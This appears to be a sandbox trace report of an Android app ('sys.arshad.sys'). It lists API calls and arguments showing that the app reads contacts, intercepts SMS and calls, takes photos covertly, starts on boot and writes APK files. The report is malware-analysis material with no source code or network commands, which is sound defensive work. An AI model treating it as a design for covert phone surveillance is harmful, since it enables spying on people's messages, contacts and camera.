API: java.io.File-><init> at sys.arshad.sys.MainActivity$b$10.run:91 Show source
API: java.io.File->delete at sys.arshad.sys.MainActivity$b$10.run:93 Show source
API: java.lang.Object-><init> at sys.arshad.sys.MainActivity$b$18.<init>:4 Show source
API: java.lang.StringBuilder-><init> at sys.arshad.sys.MainActivity$b$18.run:3 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$b$18.run:7 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$b$18.run:12 Show source
API: java.lang.StringBuilder->toString at sys.arshad.sys.MainActivity$b$18.run:15 Show source
API: java.io.File-><init> at sys.arshad.sys.MainActivity$b$18.run:18 Show source
API: java.io.File->exists at sys.arshad.sys.MainActivity$b$18.run:20 Show source
API: java.io.File->mkdirs at sys.arshad.sys.MainActivity$b$18.run:24 Show source
API: java.lang.Object-><init> at sys.arshad.sys.MainActivity$b$23.<init>:2 Show source
API: java.lang.StringBuffer-><init> at sys.arshad.sys.MainActivity$b$23.run:3 Show source
API: sys.arshad.sys.MainActivity->getContentResolver at sys.arshad.sys.MainActivity$b$23.run:9 Show source
API: android.content.ContentResolver->query at sys.arshad.sys.MainActivity$b$23.run:17 Show source
API: java.util.ArrayList-><init> at sys.arshad.sys.MainActivity$b$23.run:21 Show source
API: android.database.Cursor->moveToNext at sys.arshad.sys.MainActivity$b$23.run:23 Show source
API: android.database.Cursor->getColumnIndex at sys.arshad.sys.MainActivity$b$23.run:29 Show source
API: android.database.Cursor->getString at sys.arshad.sys.MainActivity$b$23.run:32 Show source
API: android.database.Cursor->getColumnIndex at sys.arshad.sys.MainActivity$b$23.run:37 Show source
API: android.database.Cursor->getString at sys.arshad.sys.MainActivity$b$23.run:40 Show source
API: android.database.Cursor->getColumnIndex at sys.arshad.sys.MainActivity$b$23.run:45 Show source
API: android.database.Cursor->getString at sys.arshad.sys.MainActivity$b$23.run:48 Show source
API: android.database.Cursor->getColumnIndex at sys.arshad.sys.MainActivity$b$23.run:52 Show source
API: android.database.Cursor->getString at sys.arshad.sys.MainActivity$b$23.run:55 Show source
API: java.lang.Integer->parseInt at sys.arshad.sys.MainActivity$b$23.run:58 Show source
API: sys.arshad.sys.MainActivity->getContentResolver at sys.arshad.sys.MainActivity$b$23.run:66 Show source
API: java.lang.StringBuilder-><init> at sys.arshad.sys.MainActivity$b$23.run:73 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$b$23.run:77 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$b$23.run:80 Show source
API: java.lang.StringBuilder->toString at sys.arshad.sys.MainActivity$b$23.run:83 Show source
API: android.content.ContentResolver->query at sys.arshad.sys.MainActivity$b$23.run:88 Show source
API: android.database.Cursor->moveToNext at sys.arshad.sys.MainActivity$b$23.run:91 Show source
API: android.database.Cursor->getColumnIndex at sys.arshad.sys.MainActivity$b$23.run:97 Show source
API: android.database.Cursor->getString at sys.arshad.sys.MainActivity$b$23.run:100 Show source
API: java.util.HashMap-><init> at sys.arshad.sys.MainActivity$b$23.run:104 Show source
API: java.util.HashMap->put at sys.arshad.sys.MainActivity$b$23.run:108 Show source
API: java.lang.StringBuilder-><init> at sys.arshad.sys.MainActivity$b$23.run:113 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$b$23.run:115 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$b$23.run:120 Show source
API: java.lang.StringBuilder->toString at sys.arshad.sys.MainActivity$b$23.run:123 Show source
API: java.util.HashMap->put at sys.arshad.sys.MainActivity$b$23.run:126 Show source
API: java.lang.StringBuffer->append at sys.arshad.sys.MainActivity$b$23.run:128 Show source
API: java.util.ArrayList->add at sys.arshad.sys.MainActivity$b$23.run:130 Show source
API: android.database.Cursor->close at sys.arshad.sys.MainActivity$b$23.run:135 Show source
API: java.lang.StringBuffer->toString at sys.arshad.sys.MainActivity$b$23.run:138 Show source
API: java.lang.String->replace at sys.arshad.sys.MainActivity$b$23.run:145 Show source
API: java.lang.String->replace at sys.arshad.sys.MainActivity$b$23.run:152 Show source
API: java.lang.String->replace at sys.arshad.sys.MainActivity$b$23.run:159 Show source
API: java.lang.String->replace at sys.arshad.sys.MainActivity$b$23.run:166 Show source
API: java.lang.StringBuilder-><init> at sys.arshad.sys.MainActivity$b$23.run:174 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$b$23.run:178 Show source
API: java.lang.String->toString at sys.arshad.sys.MainActivity$b$23.run:181 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$b$23.run:184 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$b$23.run:189 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$b$23.run:198 Show source
API: java.lang.StringBuilder->toString at sys.arshad.sys.MainActivity$b$23.run:201 Show source
API: sys.arshad.sys.MainActivity->e at sys.arshad.sys.MainActivity$b$23.run:204 Show source
API: java.lang.Object-><init> at sys.arshad.sys.MainActivity$b$40.<init>:3 Show source
API: sys.arshad.sys.MainActivity->g at sys.arshad.sys.MainActivity$b$40.run:10 Show source
API: sys.arshad.sys.MainActivity->y at sys.arshad.sys.MainActivity$b$40.run:16 Show source
API: java.lang.String->replace at sys.arshad.sys.MainActivity$b$40.run:26 Show source
API: java.lang.StringBuilder-><init> at sys.arshad.sys.MainActivity$b$40.run:33 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$b$40.run:37 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$b$40.run:40 Show source
API: java.lang.StringBuilder->toString at sys.arshad.sys.MainActivity$b$40.run:43 Show source
API: java.lang.StringBuilder-><init> at sys.arshad.sys.MainActivity$b$40.run:51 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$b$40.run:55 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$b$40.run:58 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$b$40.run:63 Show source
API: java.lang.StringBuilder->append at sys.arshad.sys.MainActivity$b$40.run:72 Show source
API: java.lang.StringBuilder->toString at sys.arshad.sys.MainActivity$b$40.run:75 Show source
API: sys.arshad.sys.MainActivity->e at sys.arshad.sys.MainActivity$b$40.run:78 Show source
API: java.lang.Object-><init> at sys.arshad.sys.MainActivity$b$9.<init>:2 Show source
API: sys.arshad.sys.MainActivity->o at sys.arshad.sys.MainActivity$b$9.run:5 Show source
API: sys.arshad.sys.MainActivity->p at sys.arshad.sys.MainActivity$b$9.run:14 Show source
API: android.hardware.Camera->getParameters at sys.arshad.sys.MainActivity$b$9.run:17 Show source
API: android.hardware.Camera$Parameters->setFlashMode at sys.arshad.sys.MainActivity$b$9.run:22 Show source
API: sys.arshad.sys.MainActivity->p at sys.arshad.sys.MainActivity$b$9.run:28 Show source
API: android.hardware.Camera->setParameters at sys.arshad.sys.MainActivity$b$9.run:31 Show source
API: sys.arshad.sys.MainActivity->p at sys.arshad.sys.MainActivity$b$9.run:37 Show source
API: android.hardware.Camera->stopPreview at sys.arshad.sys.MainActivity$b$9.run:40 Show source
API: sys.arshad.sys.MainActivity->b at sys.arshad.sys.MainActivity$b$9.run:47 Show source
API: sys.arshad.sys.MainActivity->p at sys.arshad.sys.MainActivity$b$9.run:53 Show source
API: sys.arshad.sys.MainActivity->p at sys.arshad.sys.MainActivity$b$9.run:61 Show source
API: android.hardware.Camera->release at sys.arshad.sys.MainActivity$b$9.run:64 Show source
API: android.os.Handler-><init> at sys.arshad.sys.MainActivity$c.a:2 Show source
API: android.os.Handler->postDelayed at sys.arshad.sys.MainActivity$c.a:8 Show source
API: java.io.PrintStream->println at sys.arshad.sys.MainActivity$c.a:5 Show source
API: android.os.AsyncTask-><init> at sys.arshad.sys.MainActivity$c.<init>:2 Show source
API: sys.arshad.sys.MainActivity$c->a at sys.arshad.sys.MainActivity$c.doInBackground:2 Show source
API: sys.arshad.sys.MainActivity$c-><init> at sys.arshad.sys.MainActivity$c.<init>:1 Show source
Method: sys.arshad.sys.MainActivity.a:4 Show source
NameTypeValue
p0java.io.FileOutputStream
  • toString: java.io.FileOutputStream@2d240f43
p1java.lang.String
  • toString: IM.txt
p2java.lang.Integer
  • toString: 0
Method: sys.arshad.sys.MainActivity.o:45 Show source
NameTypeValue
p0java.io.FileOutputStream
  • toString: java.io.FileOutputStream@2bb6fb81
p1java.lang.String
  • toString: yx.txt
p2java.lang.Integer
  • toString: 0
Method: sys.arshad.sys.MainActivity.o:45 Show source
NameTypeValue
p0java.io.FileOutputStream
  • toString: java.io.FileOutputStream@b5c01fe
p1java.lang.String
  • toString: yx.txt
p2java.lang.Integer
  • toString: 0
Method: sys.arshad.sys.IncomingSms.onReceive:1 Show source
NameTypeValue
Return Valueandroid.os.Bundle
  • toString: Bundle[{format=3gpp, pdus=[Ljava.lang.Object;@bbc6b43}]
Method: sys.arshad.sys.PhonecallReceiver.onReceive:24 Show source
NameTypeValue
Return Valueandroid.os.Bundle
  • toString: Bundle[{incoming_number=0123456789, state=RINGING}]
Method: sys.arshad.sys.PhonecallReceiver.onReceive:32 Show source
NameTypeValue
Return Valueandroid.os.Bundle
  • toString: Bundle[{incoming_number=0123456789, state=RINGING}]
Method: sys.arshad.sys.PhonecallReceiver.onReceive:11 Show source
NameTypeValue
Return Valueandroid.os.Bundle
  • toString: Bundle[{android.intent.extra.PHONE_NUMBER=9876543210}]
Method: sys.arshad.sys.IncomingSms.onReceive:19 Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@20ba45c0
  • $1: 2Tvz
  • $2: 01000A811032547698000005C47ABB9D07
NameTypeValue
Return Valueandroid.telephony.SmsMessage
  • toString: android.telephony.SmsMessage@231062f9
Method: sys.arshad.sys.MainActivity.A:46 Show source
Method: sys.arshad.sys.MainActivity.A:75 Show source
Method: sys.arshad.sys.MainActivity$b$45.run:18 Show source
Method: sys.arshad.sys.MainActivity$b$15.run:13 Show source
Method: sys.arshad.sys.MainActivity$b$36.run:6 Show source
Method: sys.arshad.sys.MainActivity$b$36.run:11 Show source
Method: sys.arshad.sys.MainActivity$4.run:7 Show source
Method: sys.arshad.sys.MainActivity$b$31.run:43 Show source
Method: sys.arshad.sys.MainActivity$b$43.run:22 Show source
Method: sys.arshad.sys.MainActivity$b$43.run:51 Show source
Method: sys.arshad.sys.MainActivity$b$43.run:60 Show source
Method: sys.arshad.sys.MainActivity$b$43.run:102 Show source
Method: sys.arshad.sys.MainActivity$b$29.run:4 Show source
Method: sys.arshad.sys.MainActivity$b$37.run:60 Show source
Method: sys.arshad.sys.MainActivity$b$37.run:89 Show source
Method: sys.arshad.sys.MainActivity$b$34.run:110 Show source
Method: sys.arshad.sys.MainActivity$b$34.run:293 Show source
Method: sys.arshad.sys.MainActivity$b$28.run:42 Show source
Method: sys.arshad.sys.MainActivity$b$28.run:87 Show source
Method: sys.arshad.sys.MainActivity$b$19.run:18 Show source
Method: sys.arshad.sys.MainActivity$b$10.run:4 Show source
Method: sys.arshad.sys.MainActivity$b$10.run:91 Show source
Method: sys.arshad.sys.MainActivity$b$18.run:18 Show source
Method: sys.arshad.sys.MainActivity$b.t:34 Show source
Method: sys.arshad.sys.MainActivity$b$17.run:15 Show source
Method: sys.arshad.sys.MainActivity$b$46.run:52 Show source
Method: sys.arshad.sys.MainActivity.o:24 Show source
NameTypeValue
p0java.io.File
  • toString: /storage/emulated/0
p1java.lang.String
  • toString: -soniac_messenger_4794932.apk
NameTypeValue
Return Valuejava.io.File
  • toString: /storage/emulated/0/-soniac_messenger_4794932.apk
Method: sys.arshad.sys.MainActivity.o:24 Show source
NameTypeValue
p0java.io.File
  • toString: /storage/emulated/0
p1java.lang.String
  • toString: -soniac_messenger_4794932.apk
NameTypeValue
Return Valuejava.io.File
  • toString: /storage/emulated/0/-soniac_messenger_4794932.apk
Method: sys.arshad.sys.MainActivity.o:93 Show source
NameTypeValue
p0java.lang.String
  • toString: /storage/emulated/0/-soniac_messenger_4794932.apk
NameTypeValue
Return Valuejava.io.File
  • toString: /storage/emulated/0/-soniac_messenger_4794932.apk
Method: sys.arshad.sys.MainActivity.o:93 Show source
NameTypeValue
p0java.lang.String
  • toString: /storage/emulated/0/-soniac_messenger_4794932.apk
NameTypeValue
Return Valuejava.io.File
  • toString: /storage/emulated/0/-soniac_messenger_4794932.apk
Method: sys.arshad.sys.MainActivity$b$20.run:187 Show source
Method: sys.arshad.sys.MainActivity.e:36 Show source
Method: sys.arshad.sys.MainActivity$11.run:147 Show source
Method: sys.arshad.sys.BootComplete.onReceive:34 Show source
Method: sys.arshad.sys.MainActivity$b$44.run:17 Show source
Method: sys.arshad.sys.MainActivity.C:39 Show source
Method: sys.arshad.sys.MainActivity.C:47 Show source
Method: sys.arshad.sys.MainActivity$10.run:8 Show source
Method: sys.arshad.sys.PhotoTakingService$1$1$1.onPictureTaken:110 Show source
Method: sys.arshad.sys.MainActivity$b$39.run:74 Show source
Method: sys.arshad.sys.MainActivity$b$39.run:176 Show source
Method: sys.arshad.sys.MainActivity$b.a:41 Show source
Method: sys.arshad.sys.MainActivity$b.a:47 Show source
Method: sys.arshad.sys.MainActivity$b.a:55 Show source
Method: sys.arshad.sys.MainActivity$b.a:62 Show source
Method: sys.arshad.sys.MainActivity$c$1.run:11 Show source
Method: sys.arshad.sys.PhotoTakingService$1$1.run:13 Show source
Method: sys.arshad.sys.PhotoTakingService$1$1.run:98 Show source
Method: sys.arshad.sys.PhotoTakingService$1$1.run:121 Show source
Method: sys.arshad.sys.MainActivity$b$41.run:41 Show source
Method: sys.arshad.sys.MainActivity$b$41.run:101 Show source
Method: sys.arshad.sys.MainActivity$b$24.run:25 Show source
Method: sys.arshad.sys.MainActivity$a.a:14 Show source
Method: sys.arshad.sys.MainActivity$b$34.run:184 Show source
Method: sys.arshad.sys.AutoStartUp.onCreate:85 Show source
Method: sys.arshad.sys.AutoStartUp.onCreate:105 Show source
Method: sys.arshad.sys.MainActivity$b$a$1.run:16 Show source
Method: sys.arshad.sys.MainActivity$b$a$1.run:203 Show source
Method: sys.arshad.sys.MainActivity$b$a$1.run:253 Show source
Method: sys.arshad.sys.MainActivity$b$a$1.run:289 Show source
Method: sys.arshad.sys.MainActivity$b$a$1.run:296 Show source
Method: sys.arshad.sys.MainActivity$b$28.run:114 Show source
Method: sys.arshad.sys.MainActivity$b$28.run:466 Show source
Method: sys.arshad.sys.MainActivity.i:16 Show source
Method: sys.arshad.sys.MainActivity.i:25 Show source
Method: sys.arshad.sys.MainActivity.i:39 Show source
Method: sys.arshad.sys.MainActivity.i:54 Show source
Method: sys.arshad.sys.MainActivity$c.a:5 Show source
Method: sys.arshad.sys.MainActivity$8.run:80 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:1114 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:2040 Show source
Method: sys.arshad.sys.MainActivity$b$46.run:100 Show source
Method: sys.arshad.sys.MainActivity$b$46.run:118 Show source
Method: sys.arshad.sys.MainActivity.z:20 Show source
Method: sys.arshad.sys.MainActivity.z:32 Show source
Method: sys.arshad.sys.MainActivity.z:48 Show source
Method: sys.arshad.sys.MainActivity.z:66 Show source
Method: sys.arshad.sys.MainActivity.z:74 Show source
Method: sys.arshad.sys.MainActivity.z:100 Show source
Method: sys.arshad.sys.MainActivity$b$14.run:29 Show source
Method: sys.arshad.sys.PhonecallReceiver.onReceive:7 Show source
Method: sys.arshad.sys.PhonecallReceiver.onReceive:42 Show source
Method: sys.arshad.sys.PhonecallReceiver.onReceive:51 Show source
Method: sys.arshad.sys.PhonecallReceiver.onReceive:59 Show source
Method: sys.arshad.sys.MainActivity$b$a$1.run:8 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:129 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:137 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:145 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:153 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:161 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:169 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:177 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:185 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:193 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:201 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:209 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:217 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:225 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:233 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:241 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:249 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:257 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:265 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:273 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:281 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:289 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:297 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:305 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:313 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:321 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:329 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:337 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:345 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:353 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:361 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:369 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:377 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:385 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:393 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:401 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:409 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:417 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:425 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:433 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:441 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:449 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:457 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:465 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:473 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:481 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:489 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:497 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:505 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:513 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:521 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:529 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:537 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:545 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:553 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:561 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:569 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:577 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:585 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:593 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:601 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:609 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:617 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:625 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:633 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:641 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:649 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:657 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:665 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:673 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:681 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:689 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:697 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:705 Show source
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:713 Show source
Method: sys.arshad.sys.MainActivity$b.e:5 Show source
Method: sys.arshad.sys.MainActivity.b:5 Show source
Method: sys.arshad.sys.MainActivity$b.m:5 Show source
Method: sys.arshad.sys.MainActivity$b.q:5 Show source
Method: sys.arshad.sys.MainActivity$b.f:5 Show source
Method: sys.arshad.sys.MainActivity.d:5 Show source
Method: sys.arshad.sys.MainActivity.J:5 Show source
Method: sys.arshad.sys.MainActivity$b.a:5 Show source
Method: sys.arshad.sys.MainActivity$b.o:5 Show source
Method: sys.arshad.sys.MainActivity$b.n:5 Show source
Method: sys.arshad.sys.MainActivity$b.t:5 Show source
Method: sys.arshad.sys.MainActivity$b.a:5 Show source
Method: sys.arshad.sys.MainActivity.g:5 Show source
Method: sys.arshad.sys.MainActivity$b.f:5 Show source
Method: sys.arshad.sys.MainActivity$b.j:5 Show source
Method: sys.arshad.sys.MainActivity$b.l:5 Show source
Method: sys.arshad.sys.MainActivity$b.h:5 Show source
Method: sys.arshad.sys.MainActivity$b.b:5 Show source
Method: sys.arshad.sys.MainActivity.b:5 Show source
Method: sys.arshad.sys.MainActivity$b.c:5 Show source
Method: sys.arshad.sys.MainActivity$b.p:5 Show source
Method: sys.arshad.sys.MainActivity$b.g:5 Show source
Method: sys.arshad.sys.MainActivity$b.s:5 Show source
Method: sys.arshad.sys.MainActivity.w:5 Show source
Method: sys.arshad.sys.MainActivity.f:5 Show source
Method: sys.arshad.sys.MainActivity.i:5 Show source
Method: sys.arshad.sys.MainActivity.k:5 Show source
Method: sys.arshad.sys.MainActivity.c:5 Show source
Method: sys.arshad.sys.MainActivity$b.n:5 Show source
Method: sys.arshad.sys.MainActivity$b.j:5 Show source
Method: sys.arshad.sys.MainActivity$b.c:5 Show source
Method: sys.arshad.sys.MainActivity.a:12 Show source
Method: sys.arshad.sys.MainActivity$b.d:5 Show source
Method: sys.arshad.sys.MainActivity$b.l:5 Show source
Method: sys.arshad.sys.MainActivity$b.h:5 Show source
Method: sys.arshad.sys.MainActivity$b.v:5 Show source
Method: sys.arshad.sys.MainActivity$b.e:5 Show source
Method: sys.arshad.sys.MainActivity.H:5 Show source
Method: sys.arshad.sys.MainActivity$b.i:5 Show source
Method: sys.arshad.sys.MainActivity$b.c:5 Show source
Method: sys.arshad.sys.MainActivity$b.b:5 Show source
Method: sys.arshad.sys.MainActivity$b.f:5 Show source
Method: sys.arshad.sys.MainActivity$b.r:5 Show source
Method: sys.arshad.sys.MainActivity.j:5 Show source
Method: sys.arshad.sys.MainActivity$b.b:5 Show source
Method: sys.arshad.sys.MainActivity$b.e:5 Show source
Method: sys.arshad.sys.MainActivity.K:5 Show source
Method: sys.arshad.sys.MainActivity$b.m:5 Show source
Method: sys.arshad.sys.MainActivity$b.d:5 Show source
Method: sys.arshad.sys.MainActivity$b.k:5 Show source
Method: sys.arshad.sys.MainActivity$b.a:5 Show source
Method: sys.arshad.sys.MainActivity$b.u:5 Show source
Method: sys.arshad.sys.MainActivity$b.a:5 Show source
Method: sys.arshad.sys.MainActivity$b.k:5 Show source
Method: sys.arshad.sys.MainActivity$b.r:5 Show source
Method: sys.arshad.sys.PhotoTakingService$1.surfaceCreated:5 Show source
Method: sys.arshad.sys.MainActivity$b.g:5 Show source
Method: sys.arshad.sys.MainActivity$b.a:10 Show source
Method: sys.arshad.sys.MainActivity$b.i:5 Show source
Method: sys.arshad.sys.MainActivity.D:8 Show source
Method: sys.arshad.sys.MainActivity$b.a:5 Show source
Method: sys.arshad.sys.MainActivity$b$a.onReceive:5 Show source
Method: sys.arshad.sys.MainActivity$b.q:5 Show source
Method: sys.arshad.sys.MainActivity$b.b:5 Show source
Method: sys.arshad.sys.MainActivity$b.e:7 Show source
Method: sys.arshad.sys.MainActivity.b:7 Show source
Method: sys.arshad.sys.MainActivity$b.m:7 Show source
Method: sys.arshad.sys.MainActivity$b.q:7 Show source
Method: sys.arshad.sys.MainActivity$b.f:7 Show source
Method: sys.arshad.sys.MainActivity.d:7 Show source
Method: sys.arshad.sys.MainActivity.J:7 Show source
Method: sys.arshad.sys.MainActivity$b.a:7 Show source
Method: sys.arshad.sys.MainActivity$b.o:7 Show source
Method: sys.arshad.sys.MainActivity$b.n:7 Show source
Method: sys.arshad.sys.MainActivity$b.t:7 Show source
Method: sys.arshad.sys.MainActivity$b.a:7 Show source
Method: sys.arshad.sys.MainActivity.g:7 Show source
Method: sys.arshad.sys.MainActivity$b.f:7 Show source
Method: sys.arshad.sys.MainActivity$b.j:7 Show source
Method: sys.arshad.sys.MainActivity$b.l:7 Show source
Method: sys.arshad.sys.MainActivity$b.h:7 Show source
Method: sys.arshad.sys.MainActivity$b.b:7 Show source
Method: sys.arshad.sys.MainActivity.b:7 Show source
Method: sys.arshad.sys.MainActivity$b.c:7 Show source
Method: sys.arshad.sys.MainActivity$b.p:7 Show source
Method: sys.arshad.sys.MainActivity$b.g:7 Show source
Method: sys.arshad.sys.MainActivity$b.s:7 Show source
Method: sys.arshad.sys.MainActivity.w:7 Show source
Method: sys.arshad.sys.MainActivity.f:7 Show source
Method: sys.arshad.sys.MainActivity.i:7 Show source
Method: sys.arshad.sys.MainActivity.k:7 Show source
Method: sys.arshad.sys.MainActivity.c:7 Show source
Method: sys.arshad.sys.MainActivity$b.n:7 Show source
Method: sys.arshad.sys.MainActivity$b.j:7 Show source
Method: sys.arshad.sys.MainActivity$b.c:7 Show source
Method: sys.arshad.sys.MainActivity.a:14 Show source
Method: sys.arshad.sys.MainActivity$b.d:7 Show source
Method: sys.arshad.sys.MainActivity$b.l:7 Show source
Method: sys.arshad.sys.MainActivity$b.h:7 Show source
Method: sys.arshad.sys.MainActivity$b.v:7 Show source
Method: sys.arshad.sys.MainActivity$b.e:7 Show source
Method: sys.arshad.sys.MainActivity.H:7 Show source
Method: sys.arshad.sys.MainActivity$b.i:7 Show source
Method: sys.arshad.sys.MainActivity$b.c:7 Show source
Method: sys.arshad.sys.MainActivity$b.b:7 Show source
Method: sys.arshad.sys.MainActivity$b.f:7 Show source
Method: sys.arshad.sys.MainActivity$b.r:7 Show source
Method: sys.arshad.sys.MainActivity.j:7 Show source
Method: sys.arshad.sys.MainActivity$b.b:7 Show source
Method: sys.arshad.sys.MainActivity$b.e:7 Show source
Method: sys.arshad.sys.MainActivity.K:7 Show source
Method: sys.arshad.sys.MainActivity$b.m:7 Show source
Method: sys.arshad.sys.MainActivity$b.d:7 Show source
Method: sys.arshad.sys.MainActivity$b.k:7 Show source
Method: sys.arshad.sys.MainActivity$b.a:7 Show source
Method: sys.arshad.sys.MainActivity$b.u:7 Show source
Method: sys.arshad.sys.MainActivity$b.a:7 Show source
Method: sys.arshad.sys.MainActivity$b.k:7 Show source
Method: sys.arshad.sys.MainActivity$b.r:7 Show source
Method: sys.arshad.sys.PhotoTakingService$1.surfaceCreated:7 Show source
Method: sys.arshad.sys.MainActivity$b.g:7 Show source
Method: sys.arshad.sys.MainActivity$b.a:12 Show source
Method: sys.arshad.sys.MainActivity$b.i:7 Show source
Method: sys.arshad.sys.MainActivity.D:10 Show source
Method: sys.arshad.sys.MainActivity$b.a:7 Show source
Method: sys.arshad.sys.MainActivity$b$a.onReceive:7 Show source
Method: sys.arshad.sys.MainActivity$b.q:7 Show source
Method: sys.arshad.sys.MainActivity$b.b:7 Show source
Method: sys.arshad.sys.AutoStartUp.onCreate:23 Show source
NameTypeValue
p0android.content.Intent
  • toString: Intent { act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] flg=0x10000000 pkg=sys.arshad.sys cmp=sys.arshad.sys/.MainActivity }
Method: sys.arshad.sys.MainActivity$b.onProgressUpdate:2062 Show source
Method: sys.arshad.sys.MainActivity.d:1 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
Method: sys.arshad.sys.MainActivity.d:1 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
Method: sys.arshad.sys.MainActivity.d:1 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
Method: sys.arshad.sys.MainActivity.d:1 Show source
NameTypeValue
Return Valuejava.lang.String
